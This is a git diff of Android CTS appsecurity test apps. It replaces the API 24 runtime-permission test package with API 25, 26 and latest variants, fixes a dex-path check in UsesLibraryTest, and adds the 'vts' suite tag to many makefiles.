diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/UsePermissionTest23.java b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/UsePermissionTest23.java
index dc528a1..b4ed09f 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/UsePermissionTest23.java
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp23/src/com/android/cts/usepermission/UsePermissionTest23.java
@@ -193,7 +193,6 @@
                 permissions, new boolean[] {true});
 
         // We should now have been granted both of the permissions from this group.
-        // NOTE: This is undesired behavior which will be fixed for target API 24.
         assertEquals(PackageManager.PERMISSION_GRANTED, getInstrumentation().getContext()
                 .checkSelfPermission(Manifest.permission.SEND_SMS));
     }
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp24/Android.mk b/hostsidetests/appsecurity/test-apps/UsePermissionApp24/Android.mk
deleted file mode 100644
index a71f48b..0000000
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp24/Android.mk
+++ /dev/null
@@ -1,38 +0,0 @@
-#
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test compatibility-device-util ctstestrunner ub-uiautomator
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src) \
-    ../UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionActivity.java \
-    ../UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java
-
-LOCAL_PACKAGE_NAME := CtsUsePermissionApp24
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
-
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp24/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/UsePermissionApp24/AndroidManifest.xml
deleted file mode 100644
index 64f3f34..0000000
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp24/AndroidManifest.xml
+++ /dev/null
@@ -1,32 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2016 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.usepermission">
-
-    <!-- Request two different permissions within the same group -->
-    <uses-permission android:name="android.permission.SEND_SMS" />
-    <uses-permission android:name="android.permission.RECEIVE_SMS" />
-
-    <application>
-        <activity android:name="com.android.cts.usepermission.BasePermissionActivity" />
-    </application>
-
-    <instrumentation
-            android:name="android.support.test.runner.AndroidJUnitRunner"
-            android:targetPackage="com.android.cts.usepermission" />
-
-</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp24/res/values-en-rGB/strings.xml b/hostsidetests/appsecurity/test-apps/UsePermissionApp24/res/values-en-rGB/strings.xml
deleted file mode 100755
index 27c9900..0000000
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp24/res/values-en-rGB/strings.xml
+++ /dev/null
@@ -1,4 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<resources>
-    <string name="Permissions">Permission</string>
-</resources>
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp24/res/values/strings.xml b/hostsidetests/appsecurity/test-apps/UsePermissionApp24/res/values/strings.xml
deleted file mode 100755
index 6675383..0000000
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp24/res/values/strings.xml
+++ /dev/null
@@ -1,4 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<resources>
-    <string name="Permissions">Permissions</string>
-</resources>
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp24/src/com/android/cts/usepermission/UsePermissionTest24.java b/hostsidetests/appsecurity/test-apps/UsePermissionApp24/src/com/android/cts/usepermission/UsePermissionTest24.java
deleted file mode 100644
index f87c67f..0000000
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp24/src/com/android/cts/usepermission/UsePermissionTest24.java
+++ /dev/null
@@ -1,78 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.usepermission;
-
-import android.Manifest;
-import android.content.pm.PackageManager;
-import org.junit.Test;
-
-import static junit.framework.Assert.assertEquals;
-
-/**
- * Runtime permission behavior tests for apps targeting API 24
- */
-public class UsePermissionTest24 extends BasePermissionsTest {
-    private static final int REQUEST_CODE_PERMISSIONS = 42;
-
-    @Test
-    public void testOnlyRequestedPermissionsGranted() throws Exception {
-        // Start out without permission
-        assertEquals(PackageManager.PERMISSION_DENIED, getInstrumentation().getContext()
-                .checkSelfPermission(Manifest.permission.RECEIVE_SMS));
-        assertEquals(PackageManager.PERMISSION_DENIED, getInstrumentation().getContext()
-                .checkSelfPermission(Manifest.permission.SEND_SMS));
-
-        String[] firstPermissions = new String[] {Manifest.permission.RECEIVE_SMS};
-
-        // Request only one permission and confirm
-        BasePermissionActivity.Result firstResult = requestPermissions(firstPermissions,
-                REQUEST_CODE_PERMISSIONS,
-                BasePermissionActivity.class,
-                () -> {
-                    try {
-                        clickAllowButton();
-                        getUiDevice().waitForIdle();
-                    } catch (Exception e) {
-                        throw new RuntimeException(e);
-                    }
-                });
-
-        // Expect the permission is granted
-        assertPermissionRequestResult(firstResult, REQUEST_CODE_PERMISSIONS,
-                firstPermissions, new boolean[] {true});
-
-        // We should not have the other permission in the group
-        assertEquals(PackageManager.PERMISSION_DENIED, getInstrumentation().getContext()
-                .checkSelfPermission(Manifest.permission.SEND_SMS));
-
-        String[] secondPermissions = new String[] {Manifest.permission.SEND_SMS};
-
-        // Request the other permission which should be auto-granted
-        BasePermissionActivity.Result secondResult = requestPermissions(secondPermissions,
-                REQUEST_CODE_PERMISSIONS + 1, BasePermissionActivity.class, null);
-
-        // Expect the permission is granted
-        assertPermissionRequestResult(secondResult, REQUEST_CODE_PERMISSIONS + 1,
-                secondPermissions, new boolean[] {true});
-
-        // We now should have both permissions
-        assertEquals(PackageManager.PERMISSION_GRANTED, getInstrumentation().getContext()
-                .checkSelfPermission(Manifest.permission.RECEIVE_SMS));
-        assertEquals(PackageManager.PERMISSION_GRANTED, getInstrumentation().getContext()
-                .checkSelfPermission(Manifest.permission.SEND_SMS));
-    }
-}
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp25/Android.mk b/hostsidetests/appsecurity/test-apps/UsePermissionApp25/Android.mk
new file mode 100644
index 0000000..ac4f272
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp25/Android.mk
@@ -0,0 +1,42 @@
+#
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    android-support-test \
+    compatibility-device-util \
+    ctstestrunner \
+    ub-uiautomator
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../UsePermissionApp23/src) \
+    ../ExternalStorageApp/src/com/android/cts/externalstorageapp/CommonExternalStorageTest.java
+LOCAL_RESOURCE_DIR := cts/hostsidetests/appsecurity/test-apps/UsePermissionApp23/res
+
+LOCAL_PACKAGE_NAME := CtsUsePermissionApp25
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
+
+LOCAL_PROGUARD_ENABLED := disabled
+LOCAL_DEX_PREOPT := false
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp25/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/UsePermissionApp25/AndroidManifest.xml
new file mode 100644
index 0000000..acaeeb0
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp25/AndroidManifest.xml
@@ -0,0 +1,77 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  * Copyright (C) 2017 The Android Open Source Project
+  *
+  * Licensed under the Apache License, Version 2.0 (the "License");
+  * you may not use this file except in compliance with the License.
+  * You may obtain a copy of the License at
+  *
+  *      http://www.apache.org/licenses/LICENSE-2.0
+  *
+  * Unless required by applicable law or agreed to in writing, software
+  * distributed under the License is distributed on an "AS IS" BASIS,
+  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  * See the License for the specific language governing permissions and
+  * limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.cts.usepermission">
+
+    <uses-sdk android:minSdkVersion="25" android:targetSdkVersion="25" />
+
+    <!-- Request two different permissions within the same group -->
+    <uses-permission android:name="android.permission.SEND_SMS" />
+    <uses-permission android:name="android.permission.RECEIVE_SMS" />
+
+    <!-- Contacts -->
+    <!-- Deliberately request WRITE_CONTACTS but *not* READ_CONTACTS -->
+    <uses-permission android:name="android.permission.WRITE_CONTACTS"/>
+
+    <!-- Calendar -->
+    <uses-permission android:name="android.permission.READ_CALENDAR"/>
+    <uses-permission android:name="android.permission.WRITE_CALENDAR"/>
+
+    <!-- SMS -->
+    <uses-permission android:name="android.permission.SEND_SMS"/>
+    <uses-permission android:name="android.permission.RECEIVE_SMS"/>
+    <uses-permission android:name="android.permission.READ_SMS"/>
+    <uses-permission android:name="android.permission.RECEIVE_WAP_PUSH"/>
+    <uses-permission android:name="android.permission.RECEIVE_MMS"/>
+    <uses-permission android:name="android.permission.READ_CELL_BROADCASTS"/>
+
+    <!-- Storage -->
+    <!-- Special case: WRITE_EXTERNAL_STORAGE implies READ_EXTERNAL_STORAGE -->
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
+
+    <!-- Location -->
+    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
+    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
+
+    <!-- Phone -->
+    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
+    <uses-permission android:name="android.permission.CALL_PHONE"/>
+    <uses-permission android:name="android.permission.READ_CALL_LOG"/>
+    <uses-permission android:name="android.permission.WRITE_CALL_LOG"/>
+    <uses-permission android:name="com.android.voicemail.permission.ADD_VOICEMAIL"/>
+    <uses-permission android:name="android.permission.USE_SIP"/>
+    <uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS"/>
+
+    <!-- Phone -->
+    <uses-permission android:name="android.permission.RECORD_AUDIO"/>
+
+    <!-- Camera -->
+    <uses-permission android:name="android.permission.CAMERA"/>
+
+    <!-- Body Sensors -->
+    <uses-permission android:name="android.permission.BODY_SENSORS"/>
+
+    <application>
+        <activity android:name="com.android.cts.usepermission.BasePermissionActivity" />
+    </application>
+
+    <instrumentation
+            android:name="android.support.test.runner.AndroidJUnitRunner"
+            android:targetPackage="com.android.cts.usepermission" />
+
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp26/Android.mk b/hostsidetests/appsecurity/test-apps/UsePermissionApp26/Android.mk
new file mode 100644
index 0000000..7064288
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp26/Android.mk
@@ -0,0 +1,43 @@
+#
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    android-support-test \
+    compatibility-device-util \
+    ctstestrunner \
+    ub-uiautomator
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src) \
+    ../UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionActivity.java \
+    ../UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java
+LOCAL_RESOURCE_DIR := cts/hostsidetests/appsecurity/test-apps/UsePermissionApp23/res
+
+LOCAL_PACKAGE_NAME := CtsUsePermissionApp26
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
+
+LOCAL_PROGUARD_ENABLED := disabled
+LOCAL_DEX_PREOPT := false
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp26/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/UsePermissionApp26/AndroidManifest.xml
new file mode 100644
index 0000000..845e43d
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp26/AndroidManifest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  * Copyright (C) 2017 The Android Open Source Project
+  *
+  * Licensed under the Apache License, Version 2.0 (the "License");
+  * you may not use this file except in compliance with the License.
+  * You may obtain a copy of the License at
+  *
+  *      http://www.apache.org/licenses/LICENSE-2.0
+  *
+  * Unless required by applicable law or agreed to in writing, software
+  * distributed under the License is distributed on an "AS IS" BASIS,
+  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  * See the License for the specific language governing permissions and
+  * limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.cts.usepermission">
+    <uses-sdk android:minSdkVersion="26" android:targetSdkVersion="26" />
+
+    <!-- Request two different permissions within the same group -->
+    <uses-permission android:name="android.permission.SEND_SMS" />
+    <uses-permission android:name="android.permission.RECEIVE_SMS" />
+
+    <application>
+        <activity android:name="com.android.cts.usepermission.BasePermissionActivity" />
+    </application>
+
+    <instrumentation
+            android:name="android.support.test.runner.AndroidJUnitRunner"
+            android:targetPackage="com.android.cts.usepermission" />
+
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp26/src/com/android/cts/usepermission/UsePermissionTest26.java b/hostsidetests/appsecurity/test-apps/UsePermissionApp26/src/com/android/cts/usepermission/UsePermissionTest26.java
new file mode 100644
index 0000000..e64838b
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp26/src/com/android/cts/usepermission/UsePermissionTest26.java
@@ -0,0 +1,64 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.usepermission;
+
+import static junit.framework.Assert.assertEquals;
+
+import android.Manifest;
+import android.content.pm.PackageManager;
+
+import org.junit.Test;
+
+/**
+ * Runtime permission behavior tests for apps targeting API 26
+ */
+public class UsePermissionTest26 extends BasePermissionsTest {
+    private static final int REQUEST_CODE_PERMISSIONS = 42;
+
+    @Test
+    public void testRuntimeGroupGrantNoExpansion() throws Exception {
+        // Start out without permission
+        assertEquals(PackageManager.PERMISSION_DENIED, getInstrumentation().getContext()
+                .checkSelfPermission(Manifest.permission.RECEIVE_SMS));
+        assertEquals(PackageManager.PERMISSION_DENIED, getInstrumentation().getContext()
+                .checkSelfPermission(Manifest.permission.SEND_SMS));
+
+        String[] permissions = new String[]{Manifest.permission.RECEIVE_SMS};
+
+        // request only one permission from the 'SMS' permission group at runtime,
+        // but two from this group are <uses-permission> in the manifest
+        // request only one permission from the 'contacts' permission group
+        BasePermissionActivity.Result result = requestPermissions(permissions,
+                REQUEST_CODE_PERMISSIONS,
+                BasePermissionActivity.class,
+                () -> {
+                    try {
+                        clickAllowButton();
+                        getUiDevice().waitForIdle();
+                    } catch (Exception e) {
+                        throw new RuntimeException(e);
+                    }
+                });
+
+        // Expect the permission is granted
+        assertPermissionRequestResult(result, REQUEST_CODE_PERMISSIONS,
+                permissions, new boolean[]{true});
+
+        assertEquals(PackageManager.PERMISSION_DENIED, getInstrumentation().getTargetContext()
+                .checkSelfPermission(Manifest.permission.SEND_SMS));
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionAppLatest/Android.mk b/hostsidetests/appsecurity/test-apps/UsePermissionAppLatest/Android.mk
new file mode 100644
index 0000000..62a15e4
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionAppLatest/Android.mk
@@ -0,0 +1,44 @@
+#
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    android-support-test \
+    compatibility-device-util \
+    ctstestrunner \
+    ub-uiautomator
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../UsePermissionApp26/src)  \
+    ../UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionActivity.java \
+    ../UsePermissionApp23/src/com/android/cts/usepermission/BasePermissionsTest.java
+LOCAL_RESOURCE_DIR := cts/hostsidetests/appsecurity/test-apps/UsePermissionApp23/res
+LOCAL_SDK_VERSION := test_current
+
+LOCAL_PACKAGE_NAME := CtsUsePermissionAppLatest
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
+
+LOCAL_PROGUARD_ENABLED := disabled
+LOCAL_DEX_PREOPT := false
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionAppLatest/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/UsePermissionAppLatest/AndroidManifest.xml
new file mode 100644
index 0000000..cac6790
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionAppLatest/AndroidManifest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  * Copyright (C) 2017 The Android Open Source Project
+  *
+  * Licensed under the Apache License, Version 2.0 (the "License");
+  * you may not use this file except in compliance with the License.
+  * You may obtain a copy of the License at
+  *
+  *      http://www.apache.org/licenses/LICENSE-2.0
+  *
+  * Unless required by applicable law or agreed to in writing, software
+  * distributed under the License is distributed on an "AS IS" BASIS,
+  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  * See the License for the specific language governing permissions and
+  * limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.cts.usepermission">
+
+    <!-- Request two different permissions within the same group -->
+    <uses-permission android:name="android.permission.SEND_SMS" />
+    <uses-permission android:name="android.permission.RECEIVE_SMS" />
+
+    <application>
+        <activity android:name="com.android.cts.usepermission.BasePermissionActivity" />
+    </application>
+
+    <instrumentation
+            android:name="android.support.test.runner.AndroidJUnitRunner"
+            android:targetPackage="com.android.cts.usepermission" />
+
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.mk b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.mk
index 0ef5641..1c47e4b 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.mk
@@ -27,7 +27,7 @@
 LOCAL_PACKAGE_NAME := CtsUsePermissionDiffCert
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests sts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
 
 # sign this app with a different cert than CtsPermissionDeclareApp
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
diff --git a/hostsidetests/appsecurity/test-apps/UsesLibraryApp/Android.mk b/hostsidetests/appsecurity/test-apps/UsesLibraryApp/Android.mk
index 7e5627f..2d67d62 100644
--- a/hostsidetests/appsecurity/test-apps/UsesLibraryApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/UsesLibraryApp/Android.mk
@@ -28,7 +28,7 @@
 LOCAL_PACKAGE_NAME := CtsUsesLibraryApp
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
 
diff --git a/hostsidetests/appsecurity/test-apps/UsesLibraryApp/src/com/android/cts/useslibrary/UsesLibraryTest.java b/hostsidetests/appsecurity/test-apps/UsesLibraryApp/src/com/android/cts/useslibrary/UsesLibraryTest.java
index e73f47c..b9dc639 100644
--- a/hostsidetests/appsecurity/test-apps/UsesLibraryApp/src/com/android/cts/useslibrary/UsesLibraryTest.java
+++ b/hostsidetests/appsecurity/test-apps/UsesLibraryApp/src/com/android/cts/useslibrary/UsesLibraryTest.java
@@ -77,11 +77,19 @@
             Object[] dexElements = getDexElementsFromClassLoader((BaseDexClassLoader) loader);
             assertTrue(dexElements != null && dexElements.length > 1);
 
+            // First dex file is either the shared library or the cts instrumentation library.
             DexFile libDexFile = getDexFileFromDexElement(dexElements[0]);
             String libPath = libDexFile.getName();
-            DexFile apkDexFile = getDexFileFromDexElement(dexElements[1]);
+            // The last dex file should be the test apk file: com.android.cts.useslibrary.
+            DexFile apkDexFile = getDexFileFromDexElement(dexElements[dexElements.length - 1]);
             String apkPath = apkDexFile.getName();
+
+            // In order to ensure the collision check is executed we use the apkDexFile when
+            // constructing the test class path for duplicates.
+            // We do not use the shared libraries apks because they are compiled with a special
+            // marker which may skip the collision check (b/37777332).
             String testPath = libPath + File.pathSeparator + apkPath + File.pathSeparator + apkPath;
+
             PathClassLoader testLoader = new PathClassLoader(testPath, null);
             Object[] testDexElements = getDexElementsFromClassLoader(testLoader);
             assertTrue(testDexElements != null && testDexElements.length == 3);
diff --git a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/Android.mk b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/Android.mk
index 9e4e0a2..8574d63 100644
--- a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/Android.mk
@@ -27,7 +27,7 @@
     ../ExternalStorageApp/src/com/android/cts/externalstorageapp/CommonExternalStorageTest.java
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := CtsWriteExternalStorageApp
 
diff --git a/hostsidetests/appsecurity/test-apps/keysets/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/Android.mk
index 5b5fbed..397b49a 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/Android.mk
@@ -17,7 +17,7 @@
 include $(CLEAR_VARS)
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 # Build the test APKs using their own makefiles
 include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/appsecurity/test-apps/keysets/malBadKey/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/malBadKey/Android.mk
index 9de77f52..46a6b37 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/malBadKey/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/malBadKey/Android.mk
@@ -18,7 +18,7 @@
 include $(CLEAR_VARS)
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
diff --git a/hostsidetests/appsecurity/test-apps/keysets/malNoDef/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/malNoDef/Android.mk
index 5b75c49..9018fdb 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/malNoDef/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/malNoDef/Android.mk
@@ -18,7 +18,7 @@
 include $(CLEAR_VARS)
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
diff --git a/hostsidetests/appsecurity/test-apps/keysets/malOneDef/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/malOneDef/Android.mk
index 41415e9..98a31b9 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/malOneDef/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/malOneDef/Android.mk
@@ -18,7 +18,7 @@
 include $(CLEAR_VARS)
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
diff --git a/hostsidetests/appsecurity/test-apps/keysets/permDef/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/permDef/Android.mk
index c4bc3a3..5cf21b4 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/permDef/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/permDef/Android.mk
@@ -24,7 +24,7 @@
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-a
 LOCAL_DEX_PREOPT := false
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
 
@@ -38,6 +38,6 @@
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/keysets/cts-keyset-test-b
 LOCAL_DEX_PREOPT := false
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/keysets/permUse/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/permUse/Android.mk
index 78b00b3..10c4101 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/permUse/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/permUse/Android.mk
@@ -25,7 +25,7 @@
 LOCAL_DEX_PREOPT := false
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
 
@@ -40,6 +40,6 @@
 LOCAL_DEX_PREOPT := false
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
